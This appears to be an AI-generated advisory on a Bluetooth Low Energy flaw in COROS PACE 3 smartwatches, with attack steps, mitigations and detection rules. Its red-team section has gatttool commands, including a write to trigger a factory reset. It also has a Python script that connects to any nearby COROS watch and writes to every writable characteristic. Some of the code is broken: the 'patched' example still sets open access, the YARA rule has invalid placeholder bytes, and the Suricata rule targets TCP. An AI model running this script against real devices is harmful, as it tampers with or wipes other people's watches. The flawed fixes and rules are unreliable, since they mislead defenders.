CVE-2025-32879

Executive Summary

CVE-2025-32879 is a critical security vulnerability affecting COROS PACE 3 smartwatches up to firmware version 3.0808.0. The vulnerability stems from the device's Bluetooth Low Energy (BLE) implementation, which automatically starts advertising when no other device is connected. This allows an unauthenticated attacker within BLE range to connect to the device and access all BLE services and characteristics without any authentication or security level. An attacker can then read, write, or subscribe to notifications on any characteristic, enabling actions such as configuring the device, sending notifications, resetting to factory settings, or installing arbitrary software. The vulnerability has a CVSS score of 0.0 (likely a placeholder), but based on the impact, it is assessed as critical with a CVSS v3.1 score of 8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). No patch is currently available, and the vendor has not acknowledged the issue.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a hardware/firmware issue specific to COROS PACE 3 devices.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 8.8 (High)
Temporal Score: 8.8 (No exploit code maturity or remediation available)
Environmental Score: Varies based on deployment

Threat Level: Critical. The vulnerability allows complete compromise of the device with no user interaction. An attacker can take full control, install malicious firmware, or render the device unusable.

Deep Dive & Mechanics

The COROS PACE 3 is a GPS sports watch that uses BLE for communication with a companion smartphone app. The vulnerability lies in the BLE GATT (Generic Attribute Profile) implementation.

Root Cause: The device's BLE stack does not enforce any authentication or encryption for any of its services and characteristics. When the device is not connected to a trusted smartphone, it enters an advertising mode that broadcasts its presence. An attacker with a BLE-capable device (e.g., a smartphone or a laptop with a BLE adapter) can scan for and connect to the watch.

Attack Flow:

1. Discovery: The attacker uses a BLE scanner (e.g., hcitool, nRF Connect) to discover nearby COROS PACE 3 devices. The device advertises with a specific name or service UUID.
2. Connection: The attacker initiates a BLE connection to the device. Since no authentication is required, the connection is accepted.
3. Service Enumeration: The attacker enumerates all GATT services and characteristics. The device exposes services for device configuration, firmware update, notifications, and factory reset.
4. Exploitation: The attacker reads/writes characteristics to perform malicious actions:
   • Read: Extract personal data, GPS tracks, heart rate logs, or other sensor data.
   • Write: Change device settings (e.g., time, alarms, activity profiles), send fake notifications, or trigger a factory reset.
   • Notify: Subscribe to notifications to receive real-time data from the device.
   • Install Software: Write to a firmware update characteristic to install malicious firmware.

Technical Details:

• BLE advertising interval: Typically 20ms to 10.24s (default likely 1s).
• GATT services: Likely include a custom service for COROS-specific features (e.g., UUID 0000xxxx-0000-1000-8000-00805f9b34fb).
• No security mode: The device uses BLE Security Mode 1, Level 1 (no security).

Vulnerable vs. Patched Code

No patch is available. The vulnerable code is in the firmware's BLE stack. A patched version would require:

• Implementing BLE Security Mode 1, Level 2 (encryption without authentication) or Level 3 (encryption with authentication).
• Requiring pairing with a trusted device before allowing access to sensitive characteristics.
• Disabling advertising when no trusted device is paired, or requiring a button press to enable pairing mode.

Vulnerable Code (Conceptual):

// BLE initialization without security
ble_gap_adv_start(&adv_params);
ble_gatts_service_add(BLE_GATTS_SRVC_TYPE_PRIMARY, &service_uuid, &service_handle);
ble_gatts_characteristic_add(service_handle, &char_md, &attr_char_value, &char_handles);
// No security requirements set

Patched Code (Conceptual):

// BLE initialization with security
ble_gap_adv_start(&adv_params);
ble_gatts_service_add(BLE_GATTS_SRVC_TYPE_PRIMARY, &service_uuid, &service_handle);
// Set security requirements for characteristic
char_md.read_access = SEC_OPEN; // Require encryption
char_md.write_access = SEC_OPEN; // Require encryption
ble_gatts_characteristic_add(service_handle, &char_md, &attr_char_value, &char_handles);

Exploitation & Lab Setup

Red Team

Prerequisites:

• A BLE-capable device (e.g., Raspberry Pi with built-in BLE, or a laptop with a USB BLE dongle).
• Tools: bluez, gatttool, bettercap, or nRF Connect (mobile app).
• Python with bleak library.

Step-by-Step Exploitation:

1. Scan for devices:

   sudo hcitool lescan
   

   Look for devices named "COROS PACE 3" or similar.

2. Connect to the device:

   sudo gatttool -b <MAC_ADDRESS> -I
   connect
   

3. Enumerate services and characteristics:

   primary
   characteristics
   

4. Read a characteristic (e.g., device name):

   char-read-hnd 0x0003
   

5. Write to a characteristic (e.g., trigger factory reset):

   char-write-req 0x0012 01
   

6. Python script for automated exploitation:

   import asyncio
   from bleak import BleakScanner, BleakClient
   
   async def exploit():
       devices = await BleakScanner.discover()
       target = [d for d in devices if "COROS" in d.name]
       if not target:
           print("No COROS device found")
           return
       async with BleakClient(target[0].address) as client:
           services = await client.get_services()
           for service in services:
               print(f"Service: {service.uuid}")
               for char in service.characteristics:
                   print(f"  Characteristic: {char.uuid}, Properties: {char.properties}")
                   if "read" in char.properties:
                       value = await client.read_gatt_char(char.uuid)
                       print(f"    Value: {value}")
                   if "write" in char.properties:
                       await client.write_gatt_char(char.uuid, b"\x01")
                       print(f"    Written to {char.uuid}")
   
   asyncio.run(exploit())
   

Expected Outcome: Full control over the device, including data exfiltration, configuration changes, and firmware installation.

Blue Team

Detection:

• Monitor for unexpected BLE connections to COROS devices.
• Use BLE sniffers (e.g., Ubertooth, nRF Sniffer) to capture advertising and connection packets.
• Look for connections from unknown MAC addresses.

Hunting:

• Check device logs for unexpected connection events (if available).
• Monitor network traffic for BLE advertising packets from COROS devices in unauthorized areas.

Mitigation:

• Disable BLE when not in use (if possible).
• Keep the device in a Faraday bag when not paired.
• Wait for a firmware patch from COROS.

Indicators of Compromise (IOCs)

• BLE MAC Address: Any COROS PACE 3 device (MAC prefix may vary, but typically starts with C0:83:4A or similar).
• BLE Service UUID: Custom COROS service UUID (e.g., 0000xxxx-0000-1000-8000-00805f9b34fb).
• Network Traffic: BLE advertising packets with device name "COROS PACE 3".
• Logs: Unexpected connection events in device logs (if accessible).
• Firmware: Unauthorized firmware versions or modified firmware hashes.

Detection Engineering

YARA Rule

rule COROS_PACE3_BLE_Vulnerability {
    meta:
        description = "Detects BLE advertising packets from COROS PACE 3 devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32879"
    strings:
        $device_name = "COROS PACE 3" ascii wide nocase
        $service_uuid = { xx xx xx xx 00 00 10 00 80 00 00 80 5F 9B 34 FB } // Custom UUID pattern
    condition:
        $device_name or $service_uuid
}

Sigma Rule

title: BLE Connection to COROS PACE 3 Device
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects BLE connections to COROS PACE 3 devices from unknown sources
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32879
logsource:
    product: windows
    service: bluetooth
    definition: 'Requires Bluetooth event logging enabled'
detection:
    selection:
        EventID: 1001 # Bluetooth device connection
        DeviceName: 'COROS PACE 3'
    condition: selection
falsepositives:
    - Legitimate pairing with user's smartphone
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-32879 COROS PACE 3 BLE Exploitation Attempt"; flow:to_server; content:"COROS PACE 3"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Note: Suricata is not ideal for BLE traffic. This rule is for network-based detection if BLE traffic is bridged to IP (e.g., via a gateway). For native BLE detection, use a BLE-specific IDS like BlueHydra.

Remediation & Mitigation

Immediate Actions:

1. Disable BLE: If the device allows, turn off Bluetooth when not in use.
2. Physical Security: Store the device in a Faraday bag or metal container when not paired.
3. Monitor: Watch for unexpected behavior (e.g., factory resets, unknown notifications).

Long-Term Fix:

• COROS must release a firmware update that implements BLE security (encryption and authentication).
• Users should update to the latest firmware as soon as it becomes available.
• Consider using a device that supports BLE Secure Connections (BLE 4.2+).

Workaround:

• Pair the device with a trusted smartphone and keep it connected. The vulnerability only exists when no device is connected.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.